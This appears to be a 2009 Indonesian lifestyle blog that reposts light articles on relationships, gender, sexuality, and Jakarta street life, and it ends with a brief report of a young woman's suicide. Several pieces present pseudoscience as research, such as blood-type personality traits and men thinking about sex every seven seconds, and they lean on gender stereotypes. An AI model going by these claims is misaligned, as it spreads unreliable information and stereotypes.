Pernah melihat si dia berlagak bak pelatih saat menonton sepak bola? Misal, “Ayo, Owen, kamu pasti bisa!” atau “Astaga, Ronaldo, kenapa lewat situ?” dan sebagainya. Alasannya sederhana, karena ia ingin didengar. Tugas pelatih adalah untuk “mendesain” langkah permainan dan para pemain mengikuti petunjuknya. Siapa yang lari ke arah mana, siapa yang melempar ke siapa, dan sebagainya. Secara turun-temurun, pelatih dikenal sebagai orang yang sangat berwibawa dan hebat dalam berbicara. Sosok pelatih seringkali diasosiasikan sebagai pribadi yang amat hebat, karena profesi ini harus bisa menjadi motivator, ayah, sahabat, diktator, dan sebagainya dalam waktu bersamaan.

Ketika menyaksikan pertandingan, ia akan menduga-duga apa yang akan dilakukan para pemain, dan mempertanyakan apa yang salah jika timnya kalah. Jika Anda ingin mendorong semangat dan membuatnya merasa hebat, cobalah bertanya padanya (tentu pada saat jeda iklan). Coba tanyakan arti istilah-istilah dalam persepakbolaan, atau tentang seputar pertandingan yang berlangsung. Ia akan merasa senang untuk bisa menjelaskan tentang hal ini kepada orang lain, karena ternyata ada orang yang mau mendengarnya.

Ia suka aksi seru
Seorang rekan Kompas.com mengatakan, “Sepak bola itu lebih menyenangkan kalau kita punya tim yang kita jagokan.” Anda tentu akan menjadi sangat fokus menyaksikan pertandingan ketika Anda menginginkan tim Anda memenangkan pertandingan. Saking fokusnya, Anda akan merasakan bahwa pertandingan berlangsung cepat dan menegangkan. Setiap pemain memiliki peran spesifik dan penting, tujuannya satu; menang! Sepak bola adalah olahraga tim. Para penggemar sepak bola tahu, bahwa dalam setiap pertandingan diperlukan persiapan yang sangat rumit, tak heran jika ia tak bisa melepaskan pandangannya dari layar kaca. Daripada bosan menunggunya tegang saat menyaksikan timnya bertanding, cobalah ikut mendukung tim kesayangannya. Atau, ciptakan game seru dengan mendukung tim lawannya. Misal, siapa yang menang, ia yang akan dilayani di tempat tidur besok malam. Cobalah untuk kreatif bikin suasana seru dengan memanfaatkan keadaan yang ada.

Sepak bola mendukung persahabatan
Ya, tentu Anda pernah mendengar acara “nonton bareng sepak bola”. Kegiatan ini banyak digelar pada musim pertandingan piala dunia atau piala Champions (kejuaraan sepak bola antarklub di Eropa). Dalam acara-acara semacam ini para fans bisa bersatu dan membicarakan hal yang sama, tim kebanggaan mereka. Hal semacam ini bisa membuat seorang penggemar sangat bahagia, tak heran jika si dia betah nongkrong di sana berjam-jam, bahkan saat pertandingan sudah berakhir lama. Acara nonton bareng semacam ini memberikan kesempatan untuk si dia dan teman-temannya menyoraki atau mendukung sosok pemain yang jauh lebih cepat, lebih berotot, lebih kaya, dan lebih beruntung darinya. Pada saat-saat seperti ini, wajar jika Anda merasa tersisihkan dan tak diperhatikan. Tetapi Anda bisa membuatnya merasa menjadi manusia paling beruntung sedunia ketika ia pulang ke rumah dan bertemu Anda, kan?

Singkap Pribadi Si Dia Lewat Golongan Darahnya

2009-12-17T07:22:00.001-08:00

Penelitian tentang karakter yang dihubungkan dengan golongan darah seseorang telah dilakukan di Jepang sejak lima puluh tahun lalu. Adalah Masahiko Nomi, yang mengobservasi orang-orang berdasarkan golongan darahnya. Hasil risetnya dibahas dalam buku berjudul Touch My Heart, yang disusun oleh putranya, Toshihiko Nomi. Berikut beberapa contekannya, berguna untuk Anda yang ingin menyelami kepribadian si dia.

Golongan darah O
Pria bergolongan darah ini memiliki karakter yang khas. Enggan mengakui kesalahan dan tidak mau mengalah. Sedikit keras kepala dan tidak suka diatur. Tetapi sebenarnya ia bukan orang yang neko-neko, dan selalu berbicara atas nama fakta. Pemilik golongan darah ini juga sangat piawai merayu, dan mengumbar kata-kata manis.

Plus
Pemikirannya kuat. Orang yang asyik diajak berdiskusi dan memecahkan persoalan. Ia juga memiliki rasa cinta yang kuat. Ketika ia mencintai seseorang, dia akan total, apa pun akan dilakukan untuk membahagiakan pasangannya. Pribadinya hangat dan bersahabat. Cenderung tidak banyak bicara dan memiliki harga diri yang tinggi.

Minus
Saking percaya dirinya, terkadang ia tidak peduli dengan perasaan orang lain. Egonya mudah terusik. Ini yang membuat emosinya mudah meledak, suka memberontak dari suatu keadaan yang membuatnya tidak nyaman. Meski mungkin usianya sudah lewat kepala tiga, sikap kekanak-kanakannya masih sering muncul.

Golongan darah A
Pribadi yang menghormati aturan dan tata cara yang berlaku umum. Ia mudah khawatir terhadap keadaan sekeliling. Pesimistis terhadap masa depan dan pemikirannya mudah berubah. Tidak pernah merasa puas atas apa yang dimiliki saat ini.

Plus
Radarnya selalu jalan sehingga bukan orang yang mudah dibohongi. Serius dalam mengerjakan sesuatu dan menghargai kerja sama tim. Dalam berbicara cenderung berhati-hati, dewasa, dan bijaksana. Menyukai kebersihan, keteraturan, dan kerapian. Tipe yang terencana. Jadi, ketika dia memutuskan seseorang menjadi kekasihnya, maka itu sudah melalui perencanaan yang matang. Perasaannya juga halus dan sensitif terhadap kebutuhan pasangannya.

Minus
Ia terkadang merasa dirinya yang paling benar, meskipun mengakui kebenaran pendapat orang. Kalau ada sesuatu yang tidak berkenan di hatinya, ia akan ngambek berhari-hari. Ia sedikit keras kepala dan gampang curiga. Ia juga tak pandai mengambil keputusan. Meski untuk hal yang sederhana pun, ia butuh waktu untuk diproses sebelum diputuskan.

Golongan darah B
Menyukai kebebasan, tidak suka pembatasan. Fleksibel dan supel. Pola pikirnya praktis dan spesifik. Tipe multitasking. Ia bisa berkonsentrasi dalam banyak hal. Dalam satu waktu, ia bisa mengerjakan tugas kantor, menonton televisi, sekaligus makan. Ia selalu optimistis menghadapi masa depan. Sakit hatinya juga gampang disembuhkan.

Plus
Pembawaannya sederhana, supel, tetapi memiliki kepercayaan diri yang tinggi. Hidupnya untuk pekerjaan dan masyarakat. Baginya pacar bukanlah prioritas. Gigih dan tekun mengejar mimpi. Ia kaya akan ide-ide cemerlang yang membuat orang banyak salut padanya. Tipe orang yang tenang dan tidak terburu-buru. Mudah diajak bicara.

Minus
Sikap dan perilakunya seringkali membuat orang menggelengkan kepala. Ia bisa melakukan sesuatu yang tak terpikirkan oleh orang lain. Ia gampang mengeluh tentang sesuatu. Pendiriannya tidak tegas, plinplan dan sering bimbang. Makanya ia selalu butuh orang lain untuk membantunya mengambil keputusan.

Golongan darah AB
Ia memiliki analisis cukup tajam terhadap setiap persoalan. Orangnya unik, sangat tertarik pada cerita fantasi dan dongeng. Pandai membina hubungan, tak heran ia memiliki jejaring yang luas. Ia gampang tersulut oleh hal-hal kecil. Ia juga memiliki konsentrasi tinggi, tapi tidak bisa mempertahankannya dalam waktu lama.

Plus
Kesetiaannya tak ada duanya. Ia bukan orang yang mudah memalingkan hatinya untuk wanita lain. Tidak suka melihat orang lain dalam kesulitan sehingga mudah mengulurkan bantuan. Tuntutannya lumayan tinggi. Ia memiliki segudang kriteria untuk calon pasangannya. Hobi dan bakatnya banyak. Ia efisien dan tanggap dalam mencium hal-hal yang dianggap penting atau menguntungkan dirinya.

Minus
Sayangnya, dia kurang gigih. Ini yang terkadang menghambat kemajuannya. Kurang suka dengan segala hal yang berisiko. Tidak terlalu suka dengan formalitas. Ia lebih suka diajak bermain outbound daripada mengikuti pernikahan teman. Punya "kepribadian ganda", itu sebabnya ia memiliki kemauan yang sulit ditebak. Ia juga terpaku pada rutinitas sehingga terkesan monoton dan kurang inisiatif. Selai itum ia suka mengkritik dan tanpa disadari sering menyakiti hati orang lain.

Pria Lebih Menyukai Wanita Bekerja

2009-12-17T07:20:00.000-08:00

Menurut data statistik, jumlah wanita lebih banyak daripada pria. Karena tuntutan gaya hidup dan keinginan untuk mengaktualisasi diri, wanita juga memilih untuk bekerja. Mereka memiliki penghasilan sendiri, bahkan sebagian wanita lajang juga sudah berani membeli rumah atas namanya sendiri.

Pria, ternyata sangat menyukai wanita yang mandiri seperti ini. Tetapi, jangan salah, penyebabnya bukan karena pria mendukung emansipasi atau kemerdekaan wanita. Segalanya tetap dilihat dari ego seorang pria. Seperti apa itu?

1. Pria juga bisa matre. Kalau Anda bisa berbagi bon makan di restoran mewah yang baru buka itu, artinya dia bisa menyisihkan lebih banyak uang untuk main bilyar sambil minum bir bareng teman-temannya, membeli gadget-gadget baru, atau memodifikasi mobilnya. Bahkan ada juga pria yang sengaja mencari kekasih yang memiliki jabatan lebih tinggi, atau datang dari keluarga berada, yang biasanya tidak segan memanjakannya.

2. Lebih banyak peluang bersosialisasi. Tidak semua pria memiliki teman wanita, kekasih, atau istri; namun kebanyakan tahu apa keuntungan memiliki pasangan sehingga berusaha mendapatkannya. Tuntutan pekerjaan yang mengharuskan pria lebih banyak berada di kantor membuatnya kehilangan kesempatan bertemu teman atau pacar baru di luar lingkungan kerjanya. Namun jika kantornya mempekerjakan cukup banyak karyawati, tentu ia bisa mencuci mata tanpa pergi jauh-jauh dari ruangannya.

3. Pria suka berantakan dan bau. Ruang kantornya bau asap rokok, piring-piring bekas makan dan minum dibiarkan menggeletak di lantai. Rekan sesama pria tentu tidak mempermasalahkan hal ini. Kalau pun keberatan, tentu tak akan diutarakan. Beda halnya jika ada rekan kerja wanita. Tentu kita-kita ini yang ribut menyuruhnya membersihkan ruangan. Pria membutuhkan paksaan seperti itu. Atau lebih bagus lagi, bisa merayu Anda untuk merapikan barang-barang tersebut.

4. Wanita bekerja lebih pintar berdandan. Bahkan busana kantor pun memiliki trennya sendiri. Entah itu pencil skirt, peep-toe heels, stoking, scarf, dan lain sebagainya. Pria sangat menikmati pemandangan yang serba resik dan wangi ini. Hal yang sama tak akan ditemukan oleh pria yang istrinya tidak bekerja, yang sehari-hari tampil tanpa makeup. Pakaiannya pun paling-paling kaus dan celana pendek lusuh, dan baru berdandan jika akan bepergian.

5. Bayar sendiri-sendiri. Pria memang seringkali menunjukkan sikap berebut membayar bon minuman atau makanan setelah nongkrong. Namun dalam hati, mereka bersyukur dengan kehadiran rekan-rekan kerja wanita yang mampu membayar sendiri makanannya. Begitu pula yang terjadi ketika melakukan kencan pertama dengan seorang wanita. Bayar sendiri-sendiri bisa mengurangi ketegangan mengenai kewajiban siapa yang harus membayar, dan membuat kedua belah pihak lebih menikmati acara kencannya.

6. Wanita bekerja biasa tinggal sendiri. Setidaknya mereka indekos atau mengontrak rumah bersama teman-temannya, sehingga pria merasa lebih bebas menemuinya. Mereka tidak merasa ada beban ketika mengantarkan Anda pulang larut malam, tak perlu berpamitan pada orangtua Anda, dan tentunya bisa berlagak seperti di rumahnya sendiri.

Mereka Tetap Mengandalkan Otot....

2009-12-17T07:19:00.001-08:00

Usianya rata-rata sudah tak muda, tetapi semangat kerjanya tak kalah dengan yang muda-muda. Bukan karena mereka memang orang-orang kuat, tetapi tuntutan perut dan kehidupan keluarganyalah yang membuat mereka masih harus bekerja keras mengandalkan otot-ototnya.

Lebih dari itu, tentu saja keterbatasan keahlian dan kesempatan kerjalah yang membuat orang-orang seperti Sardi (60) dan Sutarjo (58), harus bertahan menggeluti pekerjaan yang sudah mereka lakoni bertahun-tahun sebagai porter atau kuli angkut di Stasiun Kereta Api Jakarta Kota.

"Abis mau kerja di mana lagi. Orang tidurnya deket sini," kata Sutarjo saat dijumpai di sela "jam kerjanya", Selasa (15/12) sore kemarin.

Sutarjo dan Sardi adalah dua dari puluhan porter di Stasiun Jakarta Kota yang sehari-hari menjual jasa membawakan barang-barang bawaan penumpang kereta yang turun atau mau naik ke kereta. Barang yang mereka bawakan umumnya yang berat-berat, karena yang ringan-ringan biasanya ditenteng sendiri oleh pemiliknya.

Seperti profesi lain yang hanya mengandalkan otot, penghasilan sebagai porter kereta api juga tak menentu. Kadang besar, kadang bahkan tak sampai Rp 10.000. "Kemaren aja cuma 6000," kata Sutarjo. Tak ada kekecewaan atau kekesalan di wajahnya ketika menceritakan penghasilannya yang hanya cukup untuk dua kali makan dengan menu sangat seadanya itu.

Sutarjo yang mengaku berasal dari Jombang, Jawa Timur itu mengaku sudah 30 tahun bekerja sebagai porter di Stasiun Jakarta Kota.

Penghasilan yang tak seberapa, ia mengaku paling besar hanya Rp 40.000 sehari, membuat ia harus rela meninggalkan istri dan nanak-anaknya di Semarang, Jawa Tengah. Ia sendiri tinggal bersama teman-temannya mengontrak di rumah sangat sederhana tak jauh dari Stasiun Kota.

Seperti halnya Sutarjo, Sardi yang sudah berusia 60 tahun itu masih tetap bersemangat untuk mencari uang untuk keluarganya. Ia bekerja dari pagi hingga sore. Setiap kali ada kereta tiba, ia segera naik ke kereta untuk menawarkan jasa.

Sesekali beruntung ada penumpang yang bersedia barangnya dibawakan, tetapi tak jarang ia turun dengan tangan hampa. Begitu pun kalau ada penumpang yang turun dari bajaj atau mobil pribadi di pelataran stasiun. Sardi dan kawan-kawan segera menghampiri.

Tak heran, ketika ditemui sudah agak sore, Sardi sudah terlihat letih. Ia duduk di luar stasiun sambil mencari angin. Bukan untuk beristirahat, tetapi tetap menunggu ada orang yang bersedia membeli jasanya lagi.

Setiap kali membawakan barang, ia mengaku hanya mendapat Rp 5.000. "Itu juga nggak tentu. Bisa lebih, bisa juga kurang. Kadang ada yang ngasih Rp 10.000, tapi ada juga yang tiga rebu. Bagaimana miliknya saja," katanya.

Mulai sakit-sakitan

Sebagai pekerja yang mengandalkan otot, usia memang tak bisa dibohongi. Meski tekat besar, toh tulang belulang dan otot-otot tak bisa kompromi. Paling tidak itulah yang dirasakan Sardi dan Sutarjo. "Udah sakit-sakit nih badan," kata Sutarjo.

Akan tetapi, dia tak mau menyerah begitu saja. Tanggung jawab sebagai orangtua dan kepala keluarga membuat dia dan teman-teman lain seangkatannya tetap harus bekerja keras. Sebuah etos yang luar biasa dan perlu dicontoh mereka yang mengaku dirinya pemuda...

4 Tanda Pria dengan "Mini P"

2009-12-17T07:18:00.001-08:00

Ukuran penis, bagi para pria adalah persoalan besar. Ukuran, buat mereka akan menunjukkan suatu "supremasi" -khususnya di kalangan mereka sendiri. Ukuran, juga akan menjadi semacam penentu apakah mereka mampu memuaskan pasangan atau tidak.

Anda tentu tak punya semacam metal detector yang bisa mendeteksi, pria mana yang memiliki big size, dan mana yang mempunyai small size. Namun, tanpa detektor pun, kita bisa kok mengetahui apakah seorang pria termasuk "Mr Mini P". Beberapa wanita menyampaikan tanda-tanda menarik berikut, dan coba lihat apakah Anda juga bisa mendeteksinya.

Egonya besar
Pria dengan "mini P" disebut-sebut memiliki ego yang besar, karena seumur hidupnya harus bertahan di tengah-tengah kaum pria yang umumnya dianggap jantan bila memiliki "perangkat yang besar". Oleh karena itu, ia harus menciptakan suatu ilusi bahwa, meskipun miliknya tidak besar, ia lebih berharga daripada emas. Pria seperti ini umumnya memiliki gaya hidup mewah, dengan mobil atau gadget-gadget yang melebihi apa yang dimiliki pria lain dengan ukuran penis rata-rata. Mereka umumnya juga memiliki jaringan pertemanan yang luas.

Juara seks oral
Ini namanya adil. Mr Mini P biasanya tahu bagaimana mengkompensasi ketidakberuntungannya tadi dengan menguasai keahlian lain: lidahnya. Ia mahir sekali bermain dengan lidahnya, dan tak jarang mampu memuaskan pasangannya hanya dengan cara seks oral ini. Namun jika ia mampu menjelajahi segala sudut daerah intim pasangannya, dan membuat pasangannya cukup panas dan siap melanjutkan sesi berikutnya, saat terjadi intercourse si wanita tentu tak akan sadar sebesar apa penis pasangannya.

Tak pernah membahas topik seputar penis
Tentu saja, untuk apa pria seperti ini mengangkat topik obrolan seputar penis, jika kemudian ia harus membuktikan bahwa "perangkatnya" sendiri cukup hebat untuk dibicarakan? Sebaliknya, ia lebih suka menceritakan pengalaman hebat lain, seperti ketika pelipisnya robek saat terlibat tawuran di sekolah, atau betapa ia pernah diganggu hantu ketika sedang lembur di kantor.

Pendek kata, Mr Mini P tak akan pernah bercerita seputar penis, karena pria umumnya tidak suka membicarakan hal-hal yang mengganggu mereka. Hal ini tentu berbeda dengan kita, yang dengan santainya akan mengatakan pada teman-teman di kantor, "Ah, dada gue tipis begini, pakai push up bra juga enggak nolong!"

Prinsipnya, "Size doesn't matter"
Mr Mini P biasanya akan mulai melontarkan konsep bahwa "size doesn't matter". Sesuatu yang kecil sebaiknya jangan dijadikan patokan, begitu menurutnya. Katanya sih, justru karena ia sadar bahwa "his size does matter", ia berusaha bertahan dengan berusaha mengubah pemikiran para wanita yang kebetulan belum pernah bertemu Mr Maxi P. Ia akan mengatakan, "Bukan ukuran kapalnya yang penting, tetapi bagaimana gerakannya di laut?" Hm... Anda tahu kan, bagaimana terjemahan analogi ini dalam urusan Mr P-nya?

FOTO: Berteduh Sejenak

2009-12-17T07:16:00.001-08:00

Udara Jakarta di bulan Desember memang panas, apalagi kalau pas matahari sangat cerah, seperti pada Senin (14/12/2009 menjelang tengah hari tadi. Banyak warga Jakarta kegerahan bila berada di luar rumah.

Tak heran kalau seorang tukang ojek di Pondokbambu, Jakarta Timur, sebut saja namanya Yono (30-an). Sambil menunggu penumpang, dia memilih tidur-tiduran di dalam baja silinder yang nantinya akan dipakai sebagai tiang menara saluran udara tegangan ekstra tinggi (SUTET).

Tiang menara yang berdiameter sekitar tiga meter itu memang memberikan sedikit keteduhan. "Pangkalan sudah dipindah," katanya beralasan. Beberapa hari lalu memang ada sebuah pos di ujung jembatan baru, tempat para pengojek menunggu penumpang. Namun, pos itu sekarang dipindah, tidak lagi di pinggir jalan, sehingga kurang strategis untuk menunggu penumpang.

Di tiang menara lain yang juga masih ditidurkan di atas jembatan, dua remaja terlihat asyik mengobrol. Mereka sepertinya tak hirau dengan lalu lalang orang. "Enak Pak, adem," kata mereka ketika menyadari bahwa mereka diambil gambarnya.

Suara Pria Menggambarkan Aktivitas Seksualnya?

2009-12-17T07:15:00.001-08:00

Ketika Anda menerima telepon dari seorang pria yang tak Anda kenal, dan Anda terpesona mendengar suaranya yang empuk dan dalam, apakah Anda langsung berimajinasi mengenai tampang pria tersebut? Sebagian besar dari Anda pasti mengatakan "Ya". Dan, kecewakah Anda ketika akhirnya melihat sosok pria tersebut di hadapan Anda?

Penelitian menunjukkan, suara seorang pria yang begitu nyaman di terdengar di telinga ternyata juga menampakkan wajah yang good looking. Namun setidaknya, ketika Anda kecewa mendapati wajah pria di seberang telepon tidak seganteng yang Anda bayangkan, ia ternyata masih memiliki sejumlah kelebihan. Enggak percaya? Cek hasil penelitiannya di bawah ini.

Pria tampan bersuara dalam
Anda belum pernah mendengar hal ini? Suara seorang pria ternyata juga menggambarkan kemampuan reproduksinya. Bukan sekadar mitos bahwa pria yang tampan biasanya memiliki suara yang dalam. Northumbria University di Inggris mengadakan suatu penelitian dimana mereka merekam suara para pria, dan mengajak pendengar (pria dan wanita) mengukur suara para pria tersebut berdasarkan daya tariknya, dominasi, kepercayaan diri, dan keseksiannya. Pendengar kemudian diminta melihat foto-foto pria dan menilainya. Para peneliti mendapati bahwa pria dengan suara yang dalam memiliki daya tarik yang lebih tinggi daripada yang bersuara tinggi, dan suara yang dalam juga berkaitan dengan wajah yang lebih menarik.

Mengindikasikan aktivitas seksualnya
Suara tidak hanya dapat memberi petunjuk bagaimana penampilan seseorang, tetapi kemungkinan juga kadar aktivitas seksualnya. Sebuah studi pada tahun 2004 mengamati hubungan antara daya tarik suara dan ukuran tubuh. Pada pria, suara yang memikat dikaitkan dengan rasio pundak hingga pinggul yang lebih tinggi (pundak lebih lebar, pinggang ramping). Sedangkan pada wanita, daya tarik suara dikaitkan dengan rasio pinggang ke pinggul (pinggang lebih ramping daripada pinggul). Para penulis studi ini berspekulasi bahwa karena testosteron mempengaruhi suara dan perkembangan fisik, suara bariton pria yang dalam dapat mengindikasikan massa otot dan kekuatan yang lebih besar, dan oleh karenanya, keserasian genetik yang lebih besar.

Begitu juga dengan wanita, hormon estrogen dan progesteron mempengaruhi suara wanita maupun dimensi tubuhnya, yang dapat mengindikasikan status reproduksinya. Karena suara wanita dikorelasikan dengan proporsi tubuh yang serasi (yang memainkan peran penting dalam daya tariknya) tidak mengherankan jika suara wanita juga dihubungkan dengan aktivitas seksualnya. Studi tersebut juga mendapati bahwa pria dan wanita dengan suara yang menggemaskan dilaporkan memiliki pasangan yang lebih seksual, mendapatkan pengalaman seksnya dalam usia yang lebih muda, dan cenderung tidak memilih-milih.

Perubahan suara wanita saat menstruasi
Ada fakta lain seputar suara wanita yang lebih menarik. Studi, yang dipublikasikan di jurnal Evolution and Human Behavior, merekam suara wanita pada 4 waktu yang berbeda selama masa menstruasi mereka. Dari studi tersebut terlihat bahwa wanita memancarkan suara paling menarik selama masa ovulasinya, ketika risiko pembuahan lebih tinggi. Sebaliknya, suara mereka terdengar paling kurang menarik selama menstruasi, ketika risiko pembuahan paling rendah. Penulis berspekulasi bahwa hormon-hormon yang mempengaruhi pangkal tenggorokan lah yang menyebabkan perubahan ini.

Namun ada faktor-faktor lain yang dapat mengubah bagaimana suara kita terdengar oleh orang lain. Orang cenderung menemukan suara yang penuh percaya diri lebih menarik. Dengan cara yang sama, suara yang jernih dan murah hati dapat meningkatkan ketertarikan antarpribadi, dan kemampuan menerima orang lain.

FOTO: Pulang Sekolah

2009-12-17T07:14:00.001-08:00

Jika tidak ada tawuran, maka pulang sekolah sebenarnya selalu bisa menjadi waktu yang menyenangkan bagi para pelajar. Mereka bisa bercanda ria dengan sesamanya, bercengkerama, tertawa-tawa, juga berlarian dan berkejaran. Pokoknya menyenangkan.

Sekelompok anak SMA di kawasan Pondokbambu, Jakarta Timur, ini misalnya. Mereka terlihat sangat bergembira ketika melintas di tanggul proyek Banjir Kanal Timur, Senin (14/12/2009) siang tadi.

Udara yang terik selepas tengah hari tak membuat mereka kegerahan. Mereka bahkan terlihat saling berkejaran sambil tertawa-tawa.

Sayang, kegembiraan seperti itu tak jarang terusik oleh gangguan atau bahkan serangan dari kelompok pelajar lain sehingga menimbulkan tawuran. Tak jarang pula jatuh korban!

Pria "Anak Mami", Tak Selamanya Buruk

2009-12-17T07:12:00.000-08:00

Setiap manusia dilahirkan sebagai pribadi yang unik. Meskipun mereka datang dari latar belakang pendidikan, ekonomi, atau keluarga yang sama, namun tetap ada keunikan tertentu yang menjadi kelebihan mereka. Tak terkecuali pria yang disebut mama's boy, alias anak mami. Meskipun istilah ini terlanjur memancarkan kesan negatif, namun sebenarnya ada nilai positif yang mereka miliki.

Yang perlu Anda ketahui lebih dulu adalah, apa yang menyebabkan mereka disebut sebagai anak mami? Apakah karena mereka tumbuh dalam keluarga dimana ibu adalah sosok yang dominan (sehingga sosok ayah tak sepenuhnya "hadir")? Ataukah karena mereka dibesarkan oleh single parent, yaitu ibu?

Menurut psikolog dari Manhattan, New York City, Dr Joseph Cilona, seorang pria yang dibesarkan oleh ibu tunggal (single mom) yang tidak memiliki kemampuan mengasuh anak yang baik, cenderung mengabaikan anak, dan kasar, akan membentuk kepribadian anak lelaki ini menjadi kurang baik. Ketika dewasa, sang anak biasanya memiliki masalah serius bila berhubungan dengan wanita dan dalam menjalin relasi.

Meskipun demikian, lanjutnya, “Pria yang dibesarkan secara eksklusif oleh wanita juga bisa memiliki keuntungan dibandingkan pria yang tidak (berasal dari latar belakang tersebut), yaitu kemampuan berkomunikasi secara efektif, mampu memahami perasaan (orang lain) maupun mengekpresikan perasaannya sendiri.”

Keuntungan ini, tentunya, muncul ketika pria tersebut memiliki hubungan yang baik dengan ibu mereka yang kebetulan menjadi single parent. Pria seperti ini sudah terlatih untuk mengurus diri sendiri, dan merawat ibu mereka, setidaknya bertindak sebagai partner bersama sang ibu yang selama ini tinggal bersamanya. Mereka telah belajar sejak kecil bagaimana menjadi suami yang baik, yang kebanyakan baru dialami pria lain belakangan ketika menikah.

Jadi, ketika Anda menghadapi pria "anak mami", terlebih dulu selidiki bagaimana latar belakangnya. Bila ia termasuk tipe yang terakhir ini, Anda tidak perlu khawatir. Dan inilah 6 alasan mengapa pria yang dibesarkan oleh single mom bakal jadi Mr. Right buat Anda:

1. Mereka menghargai wanita
“Pria yang dibesarkan oleh ibu mereka lebih mungkin mengembangkan sudut pandang bahwa semua orang itu sederajat bila menyangkut masalah gender, dan cenderung kurang menganut pandangan chauvinistic,” ujar Dr. Cilona. Pria-pria seperti ini menganggap hubungan dengan sang ibu sebagai tim, dan menjanjikan peluang yang sama dengan pasangannya kelak.

2. Mereka rapi dan teratur
Mereka tidak ragu mencuci piring dan menyetrika, sebelum menunggang motornya menuju kantor. Mereka juga luwes saat berbelanja keperluan bulanan, membersihkan kamar mandi, dan mungkin juga mampu memasak (bayangkan, misalnya, saat si dia sedang mengolah bumbu chicken teriyaki; seksi bukan?). Mereka bersedia melakukan pekerjaan rumah tangga ini karena sadar rumah memang harus dirapikan; mereka tak bakal mengomel karena harus mengerjakannya.

3. Mereka mampu berkomunikasi dengan baik
“Karena sudah terbiasa mengekspresikan perasaan dan emosi secara langsung, lembut, dan lebih sering, pria-pria ini memiliki kemampuan memahami perasaan (orang lain) dengan lebih baik, selain mengidentifikasi dan menyampaikan pengalaman emosional mereka sendiri," ungkap Dr Cilona. Kadang-kadang mereka bahkan bisa memahami perasaan pasangannya meskipun si pasangan belum mengucapkan sepatah kata pun. Mereka pandai membaca perasaan wanita, dan seringkali lebih berani daripada pria mana pun dalam mengungkapkan perasaan. Tidak melulu tentang perasaan cinta ya, tetapi juga ketakutan atau kekhawatiran mereka tentang sesuatu hal.

4. Mereka bukan pengeluh
Ketika ada pekerjaan yang harus diselesaikan, pria seperti ini tidak takut melangkah maju, dan tidak mengeluh lebih dulu. Mereka mengerti penghargaan apa yang dapat diperoleh dari pekerjaan yang diselesaikan dengan baik. Dengan kata lain, Anda tidak harus menyuruh-nyuruh mereka untuk melakukan sesuatu.

5. Mereka cekatan
Menjadi pria di dalam keluarga sejak usia muda memang membutuhkan tanggung jawab besar. Namun salah satu keuntungan yang bisa didapatkan dari pengalaman ini (khususnya untuk kekasihnya nanti) adalah bahwa pria seperti ini sangat cekatan dalam menangani kerusakan ini-itu di rumah. Mereka juga mampu menghibur teman wanitanya yang sedang patah hati, dan mengesampingkan dulu egonya.

6. Mereka bertanggung jawab
Pria-pria ini tumbuh dalam keluarga yang, karena tuntutan, membuat mereka harus mampu mengatasi persoalannya sendiri. Tanpa kehadiran orangtua yang lengkap, yang akan selalu memastikan bahwa makan siangnya sudah tersedia, atau selalu ada untuk menemani membuat PR, mereka belajar untuk bertanggung jawab dengan diri mereka sendiri. Mereka sangat hati-hati dengan komitmen yang telah mereka buat, karena mereka hampir selalu harus menjaganya. Hal terakhir yang ingin mereka lakukan adalah membuat pasangan mereka kecewa.

Pria Memikirkan Seks Setiap 30 Menit

2009-12-17T07:11:00.003-08:00

Anda mungkin sering mendengar kalimat "Yang ada di pikiran pria cuma seks". Ungkapan semacam itu mungkin juga pernah terlontar dari mulut Anda sendiri. Memang, tak ada asap kalau tak ada api. Jadi, tak ada pernyataan seperti itu kalau tak ada bukti pendukungnya.

Mungkin Anda pernah merasa risih karena bagian tertentu dari tubuh Anda dilihat secara mendetail oleh seorang lelaki?

Setiap 30 menit
Jangan heran jika Anda pernah mengalami kejadian itu. Hasil penelitian mengatakan bahwa otak pria menunjukkan betapa besarnya faktor ini. Survei yang dilakukan Kinsey Institute (sebuah institusi di Universitas Indiana, Amerika Serikat) menyimpulkan bahwa 37 persen pria di dunia ini memikirkan seks setiap 30 menit.

Bahkan sebuah penelitian yang dimuat majalah Glamour mengatakan bahwa pria memikirkan seks setiap 7 detik. Jadi, jika diasumsikan bahwa pria memiliki waktu 16 jam terjaga dalam sehari, dan memikirkan seks setiap 7 detik, berarti ia memikirkan tentang seks sebanyak 57.000 kali sehari. Jumlah ini kurang lebih sebanyak jumlah seorang manusia bernapas kala ia terjaga (tidak sedang tidur). Wow!

Ibarat kompor
Seperti kita ketahui, bahwa pusat dari kehidupan seks manusia terletak di bagian otak yang disebut hipotalamus. Karena selain berperan dalam mengatur emosi, denyut jantung, dan tekanan darah, hipotalamus juga mengatur kehidupan seks.

Jika lelaki bisa memikirkan seks sebanyak itu dalam sehari, sudah bisa ditebak kan, siapa pemilik hipotalamus terbesar? Ya, kaum pria. Bukti-bukti lain juga mendukung tentang kaitan pria dan seks. Salah satunya adalah hormon testosteron yang dimiliki pria. Volumenya 20 kali lebih besar dibandingkan yang dimiliki perempuan. Ditambah dengan hipotalamus yang besar, tidak heran jika gairah pria pun mudah sekali tersulut.

Bahkan jika diibaratkan sebagai kompor, dorongan seks pria bagaikan kompor gas, sementara perempuan lebih mirip tungku elektrik. Pria hanya cukup pemanasan sedikit untuk mencapai ereksi, sementara perempuan perlu foreplay yang panjang untuk membangkitkan gairahnya.

Ekspresi kebutuhan
Anda tentu bertanya-tanya mengapa seks begitu penting peranannya bagi pria? Sebenarnya bukan berarti pria tidak memikirkan hal lain, lho. Kalau otak pria hanya diisi seks, tentu posisi tertinggi dalam bisnis dan politik tidak akan banyak dipegang mereka. Hanya saja bila pria memikirkan lawan jenis, seks lah yang berperan amat besar.

Mengapa bisa begitu? Menurut para ahli, pria mengeluarkan tekanan yang membebaninya melalui orgasme saat bercinta. Pria juga menggunakan seks untuk mengekspresikan kebutuhan emosional mereka. Jadi, jangan heran jika pria langsung tidur usai mencapai puncak. Hal ini karena pria selalu membutuhkan waktu untuk memulihkan diri setelah bercinta. Dengan tidurlah ia memulihkan diri.

Gadis Itu Depresi Sejak SMA....

2009-12-17T07:11:00.001-08:00

Gadis 19 tahun yang terjun dari jembatan layang Prumpung, Jumat lalu, mengalami depresi sejak SMA. Menurut keterangan ayah kandungnya, gadis berinisial DO itu sedang cuti kuliah untuk menjalani perawatan kejiwaan di beberapa rumah sakit.

